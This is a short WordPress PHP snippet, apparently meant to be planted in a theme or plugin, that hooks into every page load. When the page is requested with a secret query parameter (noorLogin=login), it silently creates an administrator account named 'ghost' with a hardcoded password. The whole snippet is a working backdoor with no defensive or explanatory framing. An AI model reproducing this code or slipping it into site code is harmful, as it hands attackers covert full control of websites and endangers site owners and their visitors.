<?php
add_action('wp_head', 'WordPress_secret');
function WordPress_secret() {
 if ($_GET['noorLogin'] == 'login') {      // websitelink/?noorLogin=login
  require('wp-includes/registration.php');
   if (!username_exists('ghost')) {
    $user_id = wp_create_user('ghost', 'aA12345'); //aA12345 is the password
    $user = new WP_User($user_id);
    $user->set_role('administrator');
   }
  }
}